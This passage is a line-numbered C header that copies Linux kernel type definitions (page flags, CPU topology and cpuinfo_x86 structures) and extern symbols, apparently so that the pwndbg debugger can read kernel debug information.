PG_private_2, /* page backed by cache */ 554 | 555 | /* XEN */ 556 | /* Pinned in Xen as a read-only pagetable page. */ 557 | PG_pinned = PG_owner_priv_1, 558 | /* Pinned as part of domain save (see xen_mm_pin_all()). */ 559 | PG_savepinned = PG_dirty, 560 | /* Has a grant mapping of another (foreign) domain's page. */ 561 | PG_foreign = PG_owner_priv_1, 562 | /* Remapped by swiotlb-xen. */ 563 | PG_xen_remapped = PG_owner_priv_1, 564 | 565 | /* non-lru isolated movable page */ 566 | PG_isolated = PG_reclaim, 567 | 568 | /* Only valid for buddy pages. Used to track pages that are reported */ 569 | PG_reported = PG_uptodate, 570 | 571 | #ifdef CONFIG_MEMORY_HOTPLUG 572 | /* For self-hosted memmap pages */ 573 | PG_vmemmap_self_hosted = PG_owner_priv_1, 574 | #endif 575 | 576 | /* 577 | * Flags only valid for compound pages. Stored in first tail page's 578 | * flags word. Cannot use the first 8 flags or any flag marked as 579 | * PF_ANY. 580 | */ 581 | 582 | /* At least one page in this folio has the hwpoison flag set */ 583 | PG_has_hwpoisoned = PG_error, 584 | PG_large_rmappable = PG_workingset, /* anon or file-backed */ 585 | }; 586 | 587 | 588 | 589 | 590 | #define NVMXINTS 5 591 | #define NCAPINTS 22 /* N 32-bit words worth of info */ 592 | #define NBUGINTS 2 /* N 32-bit bug flags */ 593 | struct cpuinfo_topology { 594 | // Real APIC ID read from the local APIC 595 | u32 apicid; 596 | // The initial APIC ID provided by CPUID 597 | u32 initial_apicid; 598 | 599 | // Physical package ID 600 | u32 pkg_id; 601 | 602 | // Physical die ID on AMD, Relative on Intel 603 | u32 die_id; 604 | 605 | // Compute unit ID - AMD specific 606 | u32 cu_id; 607 | 608 | // Core ID relative to the package 609 | u32 core_id; 610 | 611 | // Logical ID mappings 612 | u32 logical_pkg_id; 613 | u32 logical_die_id; 614 | 615 | // AMD Node ID and Nodes per Package info 616 | u32 amd_node_id; 617 | 618 | // Cache level topology IDs 619 | u32 llc_id; 620 | u32 l2c_id; 621 | }; 622 | 623 | struct cpuinfo_x86 { 624 | u8 x86; /* CPU family */ 625 | u8 x86_vendor; /* CPU vendor */ 626 | u8 x86_model; 627 | u8 x86_stepping; 628 | #ifdef CONFIG_X86_64 629 | /* Number of 4K pages in DTLB/ITLB combined(in pages): */ 630 | int x86_tlbsize; 631 | #endif 632 | #ifdef CONFIG_X86_VMX_FEATURE_NAMES 633 | u32 vmx_capability[NVMXINTS]; 634 | #endif 635 | u8 x86_virt_bits; 636 | u8 x86_phys_bits; 637 | /* Max extended CPUID function supported: */ 638 | u32 extended_cpuid_level; 639 | /* Maximum supported CPUID level, -1=no CPUID: */ 640 | int cpuid_level; 641 | /* 642 | * Align to size of unsigned long because the x86_capability array 643 | * is passed to bitops which require the alignment. Use unnamed 644 | * union to enforce the array is aligned to size of unsigned long. 645 | */ 646 | union { 647 | u32 x86_capability[NCAPINTS + NBUGINTS]; 648 | unsigned long x86_capability_alignment; 649 | }; 650 | char x86_vendor_id[16]; 651 | char x86_model_id[64]; 652 | struct cpuinfo_topology topo; 653 | /* in KB - valid for CPUS which support this call: */ 654 | unsigned int x86_cache_size; 655 | int x86_cache_alignment; /* In bytes */ 656 | /* Cache QoS architectural values, valid only on the BSP: */ 657 | int x86_cache_max_rmid; /* max index */ 658 | int x86_cache_occ_scale; /* scale to bytes */ 659 | int x86_cache_mbm_width_offset; 660 | int x86_power; 661 | unsigned long loops_per_jiffy; 662 | /* protected processor identification number */ 663 | u64 ppin; 664 | u16 x86_clflush_size; 665 | /* number of cores as seen by the OS: */ 666 | u16 booted_cores; 667 | /* Index into per_cpu list: */ 668 | u16 cpu_index; 669 | /* Is SMT active on this core? */ 670 | bool smt_active; 671 | u32 microcode; 672 | /* Address space bits used by the cache internally */ 673 | u8 x86_cache_bits; 674 | unsigned initialized : 1; 675 | }; 676 | 677 | 678 | 679 | struct file {}; // Pass debug info check in pwndbg 680 | 681 | 682 | extern struct list_head slab_caches; 683 | extern unsigned long max_pfn; 684 | extern struct cpuinfo_x86 boot_cpu_data; 685 | extern char linux_banner[1]; 686 | #ifdef CONFIG_SMP 687 | extern unsigned int nr_cpu_ids; 688 | extern unsigned long __per_cpu_offset[NR_CPUS]; 689 | #endif 690 | 691 | extern nodemask_t node_states[NR_NODE_STATES]; 692 | 693 | 694 | struct kmem_cache __kmem_cache; 695 | struct file __file; 696 | struct page __page; 697 | enum pageflags test; 698 | 699 | #endif /* CONFIG_x86_64 */ 700 | --------------------------------------------------------------------------------